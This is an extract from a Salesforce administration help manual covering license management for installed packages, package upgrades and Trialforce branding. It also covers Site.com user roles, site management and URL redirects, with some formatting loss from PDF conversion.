list. After selecting a package, Salesforce automatically moves it to the Selected Packages list.
The Unassigned Packages list displays all packages that this user could access if assigned a license. Packages will not appear
on this list if they are unmanaged, uninstalled, in use, or not available.
Click a letter to view the packages that begin with that letter or click All to display all available managed packages.
Click select shown to select all packages displayed in the Unassigned Packages list on the current page, adding them
to the Selected Packages list below.
2245
Installed Packages
Click deselect shown or deselect all to move packages from the Selected Packages area to the Unassigned Packages
area.
4. Click Add.
To revoke a license from this user, click the Remove link next to the appropriate package name.
See Also:
Managing Packages
Managing Licenses for Installed Packages
Assigning Licenses for Installed Packages
Removing Licenses for Installed Packages
Click Your Name > Setup > Installed Packages to find the installed package that has available licenses.
Click the Manage Licenses link next to the package name.
Click Add Users.
Choose a view from the drop-down list, or click Create New View to build a new custom view.
Click a letter to filter the users with a last name that corresponds with that letter or click All to display all users who match
the criteria of the current view.
6. Select users.
To select individual users, use the checkboxes. Selected users are listed in the Selected list. When the list includes all
users to which you want to assign licenses, click Add.
To select all users for the current view, click Add All Users then click OK.
2246
Installed Packages
Note: You can also add a single user from the user's detail page. See Editing Users on page 507.
See Also:
Managing Packages
Managing Licenses for Installed Packages
Assigning Licenses for Managed Packages
Removing Licenses for Installed Packages
To select individual users, use the checkboxes. Selected users appear in the Selected for Removal list. When the list
includes all users for which you want to remove licenses, click Remove.
To select all users in the current view, click Remove All Users, then click OK.
You can also remove licenses for an AppExchange package from a single user using the following options:
1. Click Your Name > Setup > Manage Users > Users and click Remove next to the package in the managed packages list.
2247
Installed Packages
2. Click Your Name > Setup > Installed Packages, then click Manage Licenses next to the package name, and click Remove
next to the user.
See Also:
Managing Packages
Managing Licenses for Installed Packages
Assigning Licenses for Managed Packages
Assigning Licenses for Installed Packages
Customize Application
A license manager is a Salesforce organization that tracks all Salesforce subscribers installing a particular AppExchange package.
Salesforce administrators can choose to designate another organization as the license manager for one of their packages. The
license manager does not need to be the same organization as the one from which the package is managed. To choose another
organization as the license manager, all you need is an email address (not a Salesforce username). If a Salesforce administrator
selects to have a third-party license manager and enters your email address, you will receive a license management request in
email.
To respond to a registration request:
1. Click the link in the license management request email. This displays the registration request in the requestor's Developer
Edition organization.
2. Click Accept to complete the registration process. Alternatively, click Reject to decline the request and close the browser;
this prevents you from using the link again.
Note: If you accept this request, you authorize Salesforce to automatically create records in your Salesforce
organization to track information about this package. Choosing a license manager organization is permanent and
cannot be changed.
3. Enter the username and password for the Salesforce organization you want to use to manage licenses for this package. A
license manager can be any Salesforce organization that has installed the free License Management Application (LMA)
from Force.com AppExchange.
2248
Installed Packages
Upgrading Packages
4. Click Confirm.
See Also:
Managing Packages
Managing Licenses for Installed Packages
Upgrading Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Salesforce supports upgrades for managed packages only. Publishers can publish an upgrade for a managed package and notify
installers that the new version is available. Installers of a managed package can then install the upgrade as follows:
1. Before you install an upgrade, determine if the app you installed was from a managed package. Look for the
- Installed icon on the detail pages for each component and on the list of packages installed.
Managed
If the app you installed is not from a managed package, upgrades for it are not available.
2. Then, install the upgrade in the same way you would install any other package from Force.com AppExchange directory.
If the publisher provided a link to the new version, follow the link to the package posting and install it in your organization.
The first page of the install wizard lists the current version you have installed, the version you are about to install, and a
list of additional components included in the new version.
All existing custom objects that were previously deployed will still be deployed. Salesforce prompts you to deploy any new
custom objects or previously undeployed custom objects.
Profile settings are editable but not upgradeable. After upgrading, update the profile settings for any custom objects included
in the package. The developer can make changes to profile settings after releasing them, but those changes will not be
included in an upgrade. However, changes made to permission sets are included in the upgrade for any permission sets
that were included in the package.
If the developer chooses to add universally required custom fields, the fields will have default values.
Translation Workbench values for components that are editable but not upgradeable are excluded from upgrades. For
more information, see the Force.com Quick Reference for Developing Packages.
If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.
When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures
that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package
2249
Installed Packages
access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the
administrator should manually apply any acceptable changes after installing an upgrade.
See Also:
Installing a Package
Uninstalling a Package
Managing Package Installations
Managing Licenses for Installed Packages
Customize Application
App developers using Trialforce to create new trials of their product can optionally set up a branded login site and system
emails. By branding these areas with your company's look and feel, users of your application will be immersed in your brand
from sign-up to login.
A branded login page enables you to specify your login domain and login site.
Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain
will be mycompany.cloudforce.com.
Your custom login site includes your text and company logo, and mobile-friendly versions of your login site as well.
Branded emails allow you to specify fields in system-generated emails so that your company name, address, and other pertinent
details are used in email correspondence. You can create multiple branded email sets for different campaigns, customer bases,
etc.
Note: To configure branding, you must be logged into a Trialforce Management Organization (TMO). To get your
TMO, log a case in the Salesforce Partner Portal.
2250
Installed Packages
Package Branding
Use the Trialforce Branded Login Site page to create, publish, and edit a login page that has your company's look and feel.
If you haven't set up a login site yet, click Set Up Login Site.
If you've already set up a login site, click Publish to make the site available, or Launch Site Editor to make changes.
Customize Application
2251
Installed Packages
8. If you're ready to make these changes available to your Trialforce source organizations, click Publish. Otherwise your
changes are saved and you can publish later.
Customize Application
Use the Branded Login Site Editor to design your login pages.
1. At the top of the editor, click the tab for the login page size: Desktop or Mobile.
2. In the left pane, expand the Page Header node and click Select File to choose your company logo for each size screen your
app supports.
3. In the Logo Link > Use custom link field, optionally, enter a web address to be used when a customer clicks your logo,
such as your corporate website. The URL must start with http:// or https://. If you leave this field blank, your logo
will not have a link.
4. Expand Page Content node and paste in the trial sign-up link URL from your Trialforce Templates page into the Trial
Sign-Up Link > Use custom link field.
5. Provide URLs for the right and bottom of the page. If you leave these fields blank, the frames default to the ones used on
the Salesforce login page.
6. Expand the page footer and provide your company name and font color.
7. Expand the page background node and provide a background image and color.
8. At the top of the page click Save and Close.
9. On the Branded Login Site page, click Preview for the size of the page you want to see. Make sure your login page appears
correct for each login page your app supports.
Package Branding
Trialforce Email Branding allows you to modify system-generated emails so that they appear to come from your company
rather than from Salesforce.com. Trialforce Email Branding only applies to users who sign up for your application through
Trialforce.
Each Trialforce source organization comes with a standard set of email notifications that are sent to customers. For example,
customers get an email notification when they first sign up, or when they reset their password. You don't have to rewrite all
of these system-generated emails yourself. Just provide the values for the fields and the system takes care of the rest.
2252
Installed Packages
The Trialforce Source Organizations page helps you create and manage your Trialforce source organizations.
Package Branding
2253
Installed Packages
Package Branding
Trialforce
Available in: Developer Edition
Package Branding
Each Trialforce template has a status with one of the following values.
In Progress
When a Trialforce template is first created, it always has this status. It then automatically moves to either Success or
Error status.
Success
The Trialforce template can be used to create new trial organizations.
Error
The Trialforce template cannot be used as something has gone wrong and additional debugging is required.
2254
Installed Packages
Deleted
The Trialforce template is no longer available for use. Deleted templates are automatically removed during system
updates.
Subscriber Organizations
User Permissions Needed
To log in to subscriber organizations:
This page shows a list of subscriber organizations with your package installed. To find a subscriber organization quickly, enter
a subscriber name or organization ID in the search box and click Search. Click the name of a subscriber organization to view
detailed information about it.
Note: Only subscribers who have installed at least one managed package that is Aloha enabled and linked to your
LMA will appear in this list. If none of your packages are Aloha enabled, then no subscribers will be listed.
The Subscriber Overview page, accessed by clicking the organizations name from the Subscribers tab of the LMA, provides
detailed information about each subscriber organization. This can give you insight into how a customer is using your app and
help you in troubleshooting problems.
Under Organization Details:
The name and contact information is from the Setup > Company Profile > Company Information page in the subscribers
organization. This may differ from the information shown in your LMA lead, account, or contact records.
Organization ID is a unique ID that identifies this customers Salesforce organization.
2255
Installed Packages
Instance determines which salesforce.com data center this customers organization resides in. It also determines when the
customer will get upgraded with a new version of Salesforce. See trust.salesforce.com during the release period to understand
which version of Salesforce the customer is using.
Best Practices
When you access a subscriber organization, you are logged out of your LMO (License Management Organization). You
can set up a my domain so that you are not automatically logged out of your LMO when you log into a subscriber
organization. To set up a my domain, click Your Name > Setup > Company Profile > My Domain.
Be careful to allow only trusted support and engineering personnel to log into a subscribers organization. Since this feature
may include full read/write access to customer data and configurations, its vital to your reputation to preserve their security.
Control who has access by giving the Log in to Subscriber Organization user permission to specific support personnel,
via a profile or permission set.
2256
Installed Packages
Best Practices
When you access a subscriber organization, you are logged out of your LMO (License Management Organization). You
can set up a my domain so that you are not automatically logged out of your LMO when you log into a subscriber
organization. To set up a my domain, click Your Name > Setup > Company Profile > My Domain.
Be careful to allow only trusted support and engineering personnel to log into a subscribers organization. Since this feature
may include full read/write access to customer data and configurations, its vital to your reputation to preserve their security.
Control who has access by giving the Log in to Subscriber Organization user permission to specific support personnel,
via a profile or permission set.
2257
BUILDING SITES
Site.com Overview
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition
Site.com is a Web content management system (CMS) that makes it easy to build dynamic, data-driven Web pages quickly,
edit content in real time, and manage your websites. From the Site.com tab in the Site.com app, you can launch Site.com
Studio, which provides a separate, dedicated environment for creating and editing pixel-perfect, custom websites. Publishers
and designers can create and style Web pages, and add features such as navigation menus, images, and text areas using
drag-and-drop page elements, while ensuring the site's pages match the look and feel of the company's brand. And content
contributors, such as marketing users, can browse and update website content directly in a simplified Site.com Studio
environment. Additionally, websites built with Site.com benefit from running on salesforce.com's trusted global infrastructure.
Note: The features available in Site.com Studio vary depending on whether you're a publisher, designer, or contributor.
Create an event siteAdvertise upcoming events, such as grand openings, launches, or sales kick-offs on a public event
site.
Promote new productsLaunch new products into the market with a promotional website that helps drive sales.
Publish a support FAQProvide helpful information on a public website where customers can view solutions to their
issues.
Create microsites and landing pagesCreate temporary landing pages or targeted microsites for marketing campaigns.
Create a recruiting websitePost job openings to a public site and allow visitors to submit applications and resumes.
Publish a catalog of productsList all of your company's products on a public website, with model numbers and current
prices pulled dynamically from your organization.
Post company press releasesPublish your companys press releases and sort by publication date.
System Requirements
To use Site.com Studio, we recommend:
Mozilla Firefox or Google Chrome for best performance. Windows Internet Explorer versions 6.0 and 7.0 are not
supported.
Disabling the Firebug extension for Firefox, if installed, as it can impact performance.
2258
Setting Up Users
See Also:
Setting Up Site.com Users
Supported Browsers
Planning and Implementing a Site.com Website
Site.com Data Services Overview
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor
SETTING UP USERS
Setting Up Site.com Users
Available for purchase in: Enterprise and Unlimited Editions
Available (with limitations) in: Developer Edition
Manage Users
: All users trying to create or modify websites in Site.com Studio need the View Setup and Configuration permission enabled
on their profile.
Before users can access Site.com, you must allocate a Site.com feature license, and add them to individual sites using Site.com
Studio. Check the feature table for information on the feature license, permissions, and role required for each user.
After you determine the appropriate access level, follow these steps to set up a Site.com user:
1. Allocate a feature license to the user by editing the user's profile. To allocate Site.com Publisher feature licenses to users
in your organization, select the Site.com Publisher User checkbox. Alternatively, for contributors, select the
Site.com Contributor User checkbox. Once you allocate a feature license, users can access the Site.com app in the
Force.com app menu in the Salesforce header.
Note: If the checkboxes don't appear, verify that Site.com is enabled for your organization. Organizations using
Unlimited or Enterprise Editions must purchase Site.com Publisher and Site.com Contributor feature licenses
separately. For information on purchasing Site.com feature licenses, contact salesforce.com. Developer Edition
organizations contain two Site.com Publisher feature licenses and one Site.com Contributor feature license.
2. Assign additional permissions if the user needs to perform administrative tasks such as setting up users or assigning roles.
3. Add users and assign user roles within a site.
2259
Setting Up Users
The feature license, permissions, and user role all determine what a user can do in each site. For example, to create an
administrative user who can manage all sites in your organization, you would assign a Publisher license, enable the Manage
Users permission, and assign the role of Publisher at the site level. We recommend that you have at least one user with all
these assigned attributes.
For users who only need limited access to content and no administrative access, you would assign a Contributor license and
a Contributor role at the site level.
Alternatively, to create a user who can manage roles in a site, but without the ability to publish, you would assign a Publisher
license, the Manage Users permission, and the Designer role at the site level.
See Also:
About Site.com Feature Licenses
About Site.com User Permissions
About Site.com User Roles
Managing Site.com Users and Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features
Users who need to perform administrative tasks on sites must have an additional permission on their Salesforce user profile.
Assign the Manage Users permission to a user to enable them to perform the tasks. Salesforce.com recommends that you
have at least one user per organization with both a Publisher license and the Manage Users permission.
See the Site.com feature table on page 2264 for the capabilities that come with this permission.
Caution:
The Manage Users permission is powerful. It allows a user this control for your entire organization and not just
Site.com. For more information, see User Permissions on page 567.
See Also:
Setting Up Site.com Users
About Site.com Feature Licenses
About Site.com User Roles
Managing Site.com Users and Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features
2260
Setting Up Users
Every Site.com user must have a feature license to access Site.com Studio.
The two types of feature licenses are Site.com Publisher and Site.com Contributor, which each have a fixed set of permissions.
Site.com Publisher allows the user to access Site.com Studio to build and style websites, control the layout and functionality
of pages and page elements, and add and edit content.
Site.com Contributor allows the user to access Site.com Studio to edit site content only.
Consider what users need to do in a site and purchase licenses accordingly. See the Site.com feature table for a complete list
of the capabilities that come with each feature license. After you purchase feature licenses, you can set up Site.com users on
page 2259.
You can view the number of assigned feature licenses on your organization's profile.
Note: Organizations using Unlimited or Enterprise Editions must purchase Site.com Publisher and Site.com
Contributor feature licenses separately. For information on purchasing Site.com feature licenses, contact salesforce.com.
Developer Edition organizations contain two Site.com Publisher feature licenses and one Site.com Contributor feature
license.
See Also:
Setting Up Site.com Users
About Site.com User Permissions
About Site.com User Roles
Managing Site.com Users and Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features
Once you create a site, you need to add users and assign them a role.
Every user must have a role assigned at the site level. Using roles, you can modify permissions for individual sites. Users can
only have one role per site, but their roles can vary between sites. For example, a person can be a publisher on one site and be
2261
Setting Up Users
a contributor on another. To manage roles for a site, you must have a Publisher license plus the Manage Users permission.
There are three user roles.
PublisherPublishers are users who can manage all content. They can create sites, templates, style sheets, pages, and add
data functions. If they have the Manage Users permission, they can also assign roles, set up domains, and publish sites.
This role requires the Publisher license.
DesignerDesigners are similar to publishers in that they have lots of control over content, but they cant manage domains
or publish sites. If they have the Manage Users permission, they can also assign roles. This role requires the Publisher
license.
ContributorContributors have the most restricted access to content. They typically are restricted to editing content
blocks. Even if contributors have the Manage Users permission, they cant manage roles at the site level. This role requires
the Contributor license.
See the Site.com feature requirements table on page 2264 for the capabilities of each user role. For information on how to add
users and assign roles, see Managing Site.com Users and Roles on page 2262.
See Also:
Setting Up Site.com Users
About Site.com Feature Licenses
About Site.com User Permissions
Managing Site.com Users and Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features
Once you create a site, you need to add users and assign them roles. If you havent already assigned user licenses, you wont
be able to add users or assign roles for a site. When assigning roles, be sure to add one thats compatible with a users Site.com
license. When users log into Site.com, their license is checked against the role assigned to them at the site level. If the license
doesnt allow the permissions associated with the role, then the user is given the permissions associated with the license. For
example, if a user has a Contributor license, but is assigned a role of a publisher, they will only have Contributor permissions
regardless of the assigned role. For more information about the different roles, see About Site.com User Roles on page 2261.
To add users and assign roles:
1. On the Overview tab in Site.com Studio, click Site Configuration > Manage User Roles.
2. Click Add Users.
2262
Setting Up Users
3.
4.
5.
6.
In the Available Users section, highlight the user you want to add.
Select the role from the Add as drop-down list.
Click the arrow to move the user to the Selected Users section.
Click Save.
Note: Users only show up in the Available Users section if they have already been assigned a valid Site.com user license
in their user profile. Be sure to assign a role that matches the users assigned license.
To delete users:
1. Select the user.
2. Click
> Remove.
3. Click OK.
To change a users role:
1. Hover over the users role.
2. Click the arrow to display all the roles.
3. Select the new role.
To delete or change the role of a group of users at the same time, use Bulk Actions.
1.
2.
3.
4.
See Also:
Setting Up Site.com Users
About Site.com Feature Licenses
About Site.com User Roles
Planning and Implementing a Site.com Website
About Publisher, Designer, and Contributor Features
The features available in Site.com Studio vary for publishers, designers, and contributors. Publishers have full access to Site.com
Studio. Publishers can build and style websites, control the layout and functionality of pages and page elements, and add and
2263
Setting Up Users
edit content. Designers have the same access as publishers except they cant manage domains or publish a site. Contributors
can use Site.com Studio to edit site content only.
This table lists the required feature licenses, permissions, and roles for many of the Site.com Studio features.
Site.com Studio Feature Requirements
Feature
License (Publisher or
Contributor)
Permissions
Site.com Studio User Role
(Manage User or (Publisher, Designer,
Customize
Contributor)
Application)
Manage Users
Publisher
Manage Users
Publisher or Designer
Publisher or Designer
Create websites
Publisher
Delete websites
Publisher
Publisher or Designer
Import websites
Publisher
Export websites
Publisher
Publisher or Designer
Duplicate websites
Publisher
Publisher or Designer
Manage Domains
Publisher
Publisher
Publisher
Publisher
Publisher
Publisher or Designer
Publisher or
Contributor
Publisher or Designer
Publisher
Publisher or Designer
Publisher
Publisher or Designer
Publisher or Designer
2264
Setting Up Users
License (Publisher or
Contributor)
Permissions
Site.com Studio User Role
(Manage User or (Publisher, Designer,
Customize
Contributor)
Application)
Manage Users and Publisher or Designer
Customize
Application
Publisher or
Contributor
Publisher or
Contributor
Publisher or Designer
Publisher or
Contributor
2265
page
To build, edit, and manage Site.com sites:
page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
detail page
AND
Contributor role assigned at the site level
There are many approaches to building a website. The process that best suits you depends on many factors, such as the size
of your team and the tasks you're responsible for.
If you're a publisher or designer, you may be involved in every stage, including adding and maintaining the site's content.
Alternatively, you may have contributors who add, edit, and maintain this content. And if you're a contributor, you may be
responsible for editing and updating all of the site's content, or you may work with other contributors, designers, and publishers
to bring the site to completion.
This topic describes the various stages involved in creating a site with Site.com.
Plan the Site Design and Page Layout (Publisher or Designer)Before building the pages of the site, spend time planning
the site design and basic layout. This stage is key to ensuring a consistent look and feel with the minimum amount of
effort. From a hierarchical point of view, think about how many pages you need and whether they'll have subpages. Also
consider how you want site visitors to navigate around your site.
Next, plan the layout of the pages and identify the common elements that every page will have. In this example, the site
has a header section that includes the company's logo and menu (1), and a footer section (2). However, the main section
of the home page (3) differs from the rest of the site pages (4). Take note of these similarities and differences, because they
will affect how you create your site pages.
2266
Create the Site (Publisher or Designer)Once you've completed the planning stage, you're ready to get started! Log into
the Site.com app and go to the Site.com tab, where you can create your first site. Your new blank site opens in Site.com
Studio, a powerful environment for building the pages of your site.
Note: Only users with the Site.com Publisher User field enabled on their user detail page can create and
import sites.
Import Assets (Publisher or Designer)If you're working with a design agency, they may provide all of the files and assets
you need, including a CSS style sheet. If you've created your own design, cut up the design and collect the assets, images,
and files you plan to use in the site. Import the assets into Site.com Studio, where they appear in the Assets section of the
Overview tab.
Create a Page Template (Publisher or Designer)Once you've decided on the layout, the quickest and most effective
method is to use page templates to build the basic layout and then base your site pages on it. Try to keep the design of
your main page template simple to make it easier to modify in the future. For more complicated site designs, such as the
example graphic, you can use the main page template as the basis for a nested template to achieve maximum flexibility.
When you create your page template, you can choose from predesigned layouts that include headers, footers, and columns,
or you can create a blank page template.
Lay Out the Page (Publisher or Designer)After you create the page template, you can modify the layout further to match
the design of your site.
Create the Site Pages (Publisher or Designer)Using the template as a base, you can quickly create the site pages, which
automatically inherit all the elements of the page template. Or if you need a standalone page that doesn't follow the site's
overall design, you can create a blank page instead.
Add Features and Page Elements (Publisher or Designer)Use Site.com's prebuilt page elements to add features such
as navigation menus, images, and data services, and include content blocks that contributors can edit. And add interactive,
animated effects using events and actions.
Make Your Website Look Good (Publisher or Designer)Take advantage of cascading style sheets (CSS) to develop the
look and feel of your website. If you're not completely up to speed with CSS, the Style pane provides an easy, visual way
to create and manage styles. Or if you're a CSS expert who likes to get straight into the code, you can hand-code the site's
style sheets.
Add and Edit Content (Contributor)At this stage, if you're a contributor, the site is usually ready for you to add and
edit content such as text, images, videos, and hyperlinks. And as you work, you can upload any images or files you need.
Review and Test the Site (Contributor, Publisher, or Designer)Testing the changes to the pages of your site happens
throughout the development cycle. As a contributor, publisher, or designer, you should always preview your changes to
ensure they display as expected in a browser. And if you're a publisher or designer, you can send a preview link to the site's
reviewers so they can review the finished product before it goes live.
2267
Publish the Site (Publisher Only)After testing is complete, you're ready to go live with your new site. Just set the site's
domain information and then publish your changes to make your site live!
See Also:
Site.com Overview
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor
page
To build, edit, and manage Site.com sites:
page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
detail page
AND
Contributor role assigned at the site level
If you can't see the Site.com tab, go to the Site.com app. It's available in the Force.com app menu in the Salesforce header.
Then click the Site.com tab to view the list of your Site.com sites. From this page you can:
Filter the sites you see by selecting a predefined list from the drop-down list. My Sites shows the sites you can access and
your role. All Sites shows all the sites in your organization even if you dont have access to some of them.
Click Edit next to a site to open it in Site.com Studio.
Click Preview next to a site to see how it looks when rendered in a browser window.
Click next to a site to duplicate, export, or delete it. Only users with the Site.com Publisher User field enabled
on their user detail page and the role of Publisher or Designer can duplicate, export, and delete sites.
2268
Note: After you publish a site, you can't delete it, but you can take it offline.
See Also:
Site.com Overview
Planning and Implementing a Site.com Website
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor
page
AND
Publisher or Designer role assigned at the site level
To manage domains and publish Site.com sites:
page
AND
Publisher role assigned at the site level
2269
See Also:
Understanding the Publisher and Designer's Overview Tab
Site.com Overview
Planning and Implementing a Site.com Website
Site.com Tab Overview
detail page
AND
Contributor role assigned at the site level
Watch a Demo on Editing and Managing Content with Site.com (2:53 minutes)
Site.com Studio provides a dedicated content-editing environment for contributors, where you can:
2270
See Also:
Understanding the Contributors's Overview Tab
Site.com Overview
Planning and Implementing a Site.com Website
Site.com Tab Overview
page
AND
Publisher or Designer role assigned at the site level
To manage domains and publish Site.com sites:
page
AND
Publisher role assigned at the site level
To manage user roles:
page
AND
Publisher role assigned at the site level
AND
Manage Users
As a publisher or designer, when you open a site in Site.com Studio, it opens on the Overview tab. Here you can access and
manage the sites components and configure the sites properties.
2271
Select a view (1) on the Overview tab to view its contents (2).
All Site ContentCreate folders to organize your site content. In this view, you can also create pages, templates, and
style sheets, and import assets.
Site PagesCreate site pages, open and edit pages, access page options, and organize the site map. You can also switch
between the default site map view ( ) and the list view ( ).
Page TemplatesCreate page templates to base your site pages on, open and edit existing templates, and access template
options.
Style SheetsEdit the sites style sheet or create new style sheets.
AssetsImport and manage assets, such as images and files.
Trash CanRetrieve deleted items. When you delete a page, template, stylesheet, or asset, it goes into the trash can.
Deleted items remain in the trash can indefinitely. Retrieved items are restored to their original location. If the original
location no longer exists, they are restored to the top-level root directory.
Recent ChangesView information about the most recently modified files.
Publish HistoryView information about the published files.
Site ConfigurationConfigure site properties such as the site name, create URL redirects, manage domain information,
and manage user roles.
2272
See Also:
Using Site.com Studio as a Publisher or Designer
Planning and Implementing a Site.com Website
Site.com Overview
detail page
AND
Contributor role assigned at the site level
As a contributor, when you open a site in Site.com Studio, it opens on the Overview tab. Here you can access and edit the
sites pages and content, and import images and files.
2273
Select a view (1) on the Overview tab to view its contents (2).
All Site ContentView all of the sites pages, images, and files.
Site PagesView and edit pages, or create site pages, if available.
AssetsImport assets, such as images and files.
Recent ChangesView information about the most recently modified files.
See Also:
Using Site.com Studio as a Contributor
Site.com Overview
2274
page
See Also:
Creating Site.com Page Templates
Creating Site Pages as a Publisher or Designer
Understanding the Page Editing View in Site.com Studio
Configuring Site Properties
Using Site.com Studio as a Publisher or Designer
Deleting a Site.com Site
Duplicating a Site.com Site
Importing a Site.com Site
2275
page
AND
Publisher or Designer role assigned at the site level
> Delete.
Note: You cant delete a site that has been published. However, you can take it offline. See Taking Your Site Offline
on page 2376.
See Also:
Creating a Site.com Site
Duplicating a Site.com Site
Exporting a Site.com Site
Importing a Site.com Site
2276
page
AND
Publisher or Designer role assigned at the site level
Note: If youre creating a copy of a site that uses data services, you must set the data access permissions in the new
sites guest user profile.
See Also:
Creating a Site.com Site
Deleting a Site.com Site
Exporting a Site.com Site
Importing a Site.com Site
2277
page
AND
Publisher or Designer role assigned at the site level
You can export your site from Site.com to your hard drive. The site is exported in a packaged format that you can import into
another Salesforce organization. The maximum site size you can import is 200 MB.
1. On the Site.com tab in the Site.com app, select the site and click
2. Select a location for the exported site on your hard drive.
3. Click Save.
> Export.
Note: Exported sites have a .site extension. Exporting a site doesnt remove it from the current organization.
See Also:
Creating a Site.com Site
Deleting a Site.com Site
Duplicating a Site.com Site
Importing a Site.com Site
2278
page
You can import an exported Site.com site into your organization. The maximum site size you can import is 200 MB.
1. On the Site.com tab in the Site.com app, click New. Alternatively, in Site.com Studio, click Create a New Site in the
site's drop-down menu.
2. Select Import a Site or Template.
3. Enter the site name.
4. Click Browse to locate the exported site on your hard drive. Exported sites have a .site extension.
5. Click Create.
Note: If youre importing a site that uses data services, you must set the data access permissions in the imported sites
guest user profile. Additionally, any repeaters, data tables, data functions, or forms may need to be reconfigured.
See Also:
Creating a Site.com Site
Deleting a Site.com Site
Duplicating a Site.com Site
Exporting a Site.com Site
2279
page
AND
Publisher or Designer role assigned at the site level
Set properties for the site, such as the home page, site name, and error page, and create an anonymous preview URL that
allows other users to review the site before it goes live. The URL is always valid (unless you disable it) and shows the latest
work in progress.
1. On the Overview tab, click Site Configuration.
2. Click Edit.
3. In the Site Configuration view, you can:
Replace the name in the Site Name field to rename the site.
Select Enable Anonymous Preview to create a URL that allows other users to preview the site before it goes live.
(Click the View Anonymous Preview option that appears in the Preview menu to access the preview URL, which you
can copy and send to other users to review and test your changes.) Enable Anonymous Preview is also available from
the Preview menu on the Overview tab.
Access the sites guest user profile.
Select the home page for your website in the Home Page drop-down list.
Select a user-friendly error page (if you created one) in the 404 Page drop-down list to display when a page can't be
found. It's a good idea to create a user-friendly error page to assist site visitors if they encounter a broken link.
4. Click Save.
See Also:
Creating a Site.com Site
Using Site.com Studio as a Publisher or Designer
2280
page
AND
Publisher or Designer role assigned at the site level
If you move or reorganize pages in your site, search engines may have trouble finding the new page locations. To avoid this,
set up URL redirects to inform users and search engines that site content has moved.
You can use URL redirects to:
Maintain search engine ranking. For example, if you change a pages name from Gadgets to Widgets, creating a redirect
rule from /Gadgets to /Widgets lets you restructure the site without affecting your page ranking.
Make URLs more readable and memorable. For example, site visitors will find long or numeric page names, such as
/widget65AD890004ab9923, difficult to remember. Instead, you can provide them with a short, friendly URL, such
as /widget, and create an alias that redirects to the correct page when the user uses the short URL alias.
Assist with migration from another system to Site.com if youre still using the same domain. For example, if your old site
ran on PHP, you can create a redirection rule from an old page, such as /index.php, to a new page in Site.com, such as
/myNewPage.
Description
Permanent (301)
Select this option if you want users and search engines to update the URL in their systems when visiting the
page. Users visiting a page redirected with this type are sent seamlessly to the new page. Using a permanent
redirect ensures that your URLs retain their search engine popularity ratings, and that search engines index
the new page and remove the obsolete source URL from their indexes.
Temporary (302)
Select this option if you want users and search engines to keep using the original URL for the page. Search
engines interpret a 302 redirect as one that could change again at any time, and though they index and serve
up the content on the new target page, they also keep the source URL in their indexes.
Alias
Select this option if you dont want the URL to change in the users browser, but you want to redirect to a
different page. Search engines wont be aware of the change or update their records.
Alias redirects only work when you redirect from one Site.com page to another. You cant create an alias to
an external address.
2281
5. Specify the new page location in the Redirect to field. This can be a relative URL or a fully-qualified URL with an
http:// or https:// prefix. Unlike pages youre redirecting from, pages youre redirecting to can contain anchors.
6. To immediately enable the redirection rule, ensure Active is selected. To enable it at a later stage, deselect the property.
7. Click Save.
The URL Redirects section displays all URL redirection rules you've created for your site.
page
AND
Publisher or Designer role assigned at the site level
As a publisher or designer, you can create folders to manage your pages, style sheets, templates, and assets.
To create new folders:
1. In the All Site Content view on the Overview tab, click New Folder.
2. Type in the folder name.
3. Click Create.
Folders are created at the top level of the folder tree. Once created, you can drag them anywhere in the tree structure. Likewise,
you can drag and drop files into the folders you create. To rename, delete, and create sub-folders, right-click the folder or use
the Actions menu (
).
2282
Note: The site map remains the same regardless of how you arrange folders in the All Site Content view.
See Also:
Understanding the Publisher and Designer's Overview Tab
Site.com Overview
page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
AND
Contributor role assigned at the site level
Contributors, designers, and publishers can import a variety of assets, such as images and PDFs, to use in a website.
Note:
To import folders of assets and maintain the folder structure in your site, first create a ZIP file of the content, and
then import and unzip the content.
The maximum file size you can upload is 50 MB unless you upload and unzip a ZIP file. In that case, you can
upload a ZIP file of up to 200 MB if you select Unzip files during the upload process.
Select Unzip files to extract the contents of a ZIP file. If the ZIP file includes folders, this structure is maintained in
your site.
Select Overwrite existing files to replace a file that already exists in the site.
2283
Select Convert CSS files into style sheets, if you're a publisher or designer, to convert a CSS file into a style sheet that
you can use to style your website.
Click Import....
Click Browse... to locate the file.
Select the file and click Open.
Depending on the type of file youre importing, you can:
Select Unzip files to extract the contents of a ZIP file. If the ZIP file includes folders, this structure is maintained in
your site.
Select Overwrite existing files to replace a file that already exists in the site.
Select Convert CSS files into style sheets, if you're a publisher or designer, to convert a CSS file into a style sheet that
you can use to style your website.
5. Click Import. A message appears indicating whether the file was uploaded successfully.
6. Click
You can add images and videos to the text areas of your site pages, or create a hyperlink to any imported asset. If you're a
publisher or designer, you can add also add images directly to the page.
View the list of imported assets in the Assets view on the Overview tab. You can also access assets in the All Site Content
view, which displays the folder hierarchy of your site.
To remove an asset from your site if you're a publisher or designer, hover over or select it and click
> Delete. If the
asset is being used in your site, you see a confirmation message with a list of locations where that asset is in use.
> Download.
See Also:
Adding Site.com Page Elements
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor
2284
page
AND
Publisher or Designer role assigned at the site level
When working with page templates and site pages, you can add content, structure, and style, all in one place. Open a page or
template on the Overview tab by double-clicking it or hovering over it and clicking
> Edit. The page opens as a new tab.
Using the
Page Elements and
element hierarchy.
Using the
Properties,
selected page or element.
Page Structure panes (1), you can add page elements to a page and reorder the page
Style, and
Events panes (2), you can set properties, add style, and create events for a
2285
On the page canvas (4), you can lay out the page and select, edit, and move page elements.
Tip:
and
